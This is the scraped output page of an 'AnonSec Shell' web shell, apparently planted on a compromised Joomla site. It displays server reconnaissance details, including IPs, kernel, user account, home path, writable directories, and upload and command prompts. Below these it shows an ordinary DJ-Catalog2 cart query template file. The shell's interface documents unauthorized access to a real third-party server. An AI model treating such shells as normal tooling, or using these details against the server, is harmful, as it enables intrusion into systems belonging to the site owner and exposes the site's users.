AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/components/com_djcatalog2/views/cart/tmpl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/components/com_djcatalog2/views/cart/tmpl/onestep_query.php
<?php
/**
 * @package DJ-Catalog2
 * @copyright Copyright (C) DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 */

defined ('_JEXEC') or die('Restricted access');
use Joomla\CMS\Factory;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Language\Text;
$user = Factory::getUser();
$return_url = base64_encode(DJCatalogHelperRoute::getQueryRoute());

?>
<div id="tabquery">
	<div class="djc_checkout_form">
	<form action="<?php echo Route::_(DJCatalogHelperRoute::getCartRoute());?>" method="post" class="form-validate form form-horizontal" id="djc_query_form">
		<fieldset class="djc_checkout_notes">
		
			<?php if (empty($this->user_profile) || empty($this->user_profile->id) || $this->user_valid == false) { ?>
				<h2><?php echo Text::_('COM_DJCATALOG2_USER_PROFILE'); ?></h2>
				<?php if ($user->guest) { ?>
					<p class="djc_login_link">
					<?php 
					$login_url = Route::_('index.php?option=com_users&view=login&return='.$return_url);
					echo Text::sprintf('COM_DJCATALOG2_CLICK_TO_LOGIN', $login_url);
					?>
					</p>
				<?php } ?>
				<?php 
				$fields = $this->form->getFieldset('basicprofile'); 
				foreach ($fields as $field) { ?>
					<?php /* ?>
					<div class="control-group">
						<div class="control-label">
							<?php echo $field->label; ?>
						</div>
						<div class="controls">
							<?php echo $field->input; ?>
						</div>
					</div>
					<?php */ ?>
					<?php echo $field->renderField(); ?>
				<?php } ?>
			<?php } ?>
			
			<?php //Dynamically load any additional fields from plugins. ?>
		    <?php foreach ($this->form->getFieldsets() as $fieldset) { ?>
		          <?php if ($fieldset->name != 'basicprofile') { ?>
		               <?php $fields = $this->form->getFieldset($fieldset->name);?>
		               
		               <?php if ($fieldset->name == 'message') {$fieldset->label = 'COM_DJCATALOG2_QUERY_NOTES';}?>
		               
		               <?php if ($fieldset->label && count($fields)) {?>
		          		<h2><?php echo Text::_($fieldset->label); ?></h2>
		          		<?php } ?>
		               <?php foreach($fields as $field) { ?>
		                    <?php if ($field->hidden) { ?>
		                         <?php echo $field->input;?>
		                    <?php } /*else if ($field->fieldname == 'customer_note') { ?>
								<div class="control-group">
									<div class="controls">
										<div style="display: none;"><?php echo $field->label; ?></div>
										<?php echo $field->input; ?>
									</div>
								</div>
		                    <?php }*/ else { ?>
		                    	<?php if ($field->type == 'Checkbox') { ?>
									<div class="control-group checkbox">
										<?php echo $field->input;?> <?php echo $field->label;?>
									</div>
								<?php } else { ?>
									<?php echo $field->renderField(); ?>
								<?php } ?>
		                    <?php }?>
		               <?php } ?>
		          <?php } ?>
		     <?php } ?>
			
			<div class="control-group">
				<div class="controls">
					<?php if ($this->params->get('cart_continue_btn')) {?>
					<a 	class="btn btn-primary djc_continue_shopping_btn" 
						href="<?php echo Route::_('index.php?Itemid=' . $this->params->get('cart_continue_btn')); ?>"><?php 
							echo Text::_('COM_DJCATALOG2_CONTINUE_SHOPPING');
					?></a>
					<?php } ?>
					<input role="button" type="submit" value="<?php echo Text::_('COM_DJCATALOG2_CONFIRM_QUERY');?>" class="btn btn-primary btn-success button validate" onclick="return DJCatalog2OneStepQuery(this);"/>
				</div>
			</div>
			
		</fieldset>
		
		
		<input type="hidden" name="option" value="com_djcatalog2" />
		<input type="hidden" name="task" value="cart.query_confirm" />
		<?php echo Joomla\CMS\HTML\HTMLHelper::_( 'form.token' ); ?>
	</form>
	</div>
</div>

<script>
    function DJCatalog2OneStepQuery(btn) {
    	if (jQuery(btn).attr('quasi-disabled') == 'disabled') {
    		return false;
    	}
        if (document.formvalidator.isValid(document.getElementById('djc_query_form'))) {
        	jQuery(btn).attr('quasi-disabled', 'disabled');
            return true;
        } else {
            alert('<?php echo $this->escape(Text::_('JGLOBAL_VALIDATION_FORM_FAILED'));?>');
            jQuery('html, body').animate({
                scrollTop: jQuery('#system-message-container').offset().top
            }, 200);
        }
    }
</script>

Anon7 - 2022
AnonSec Team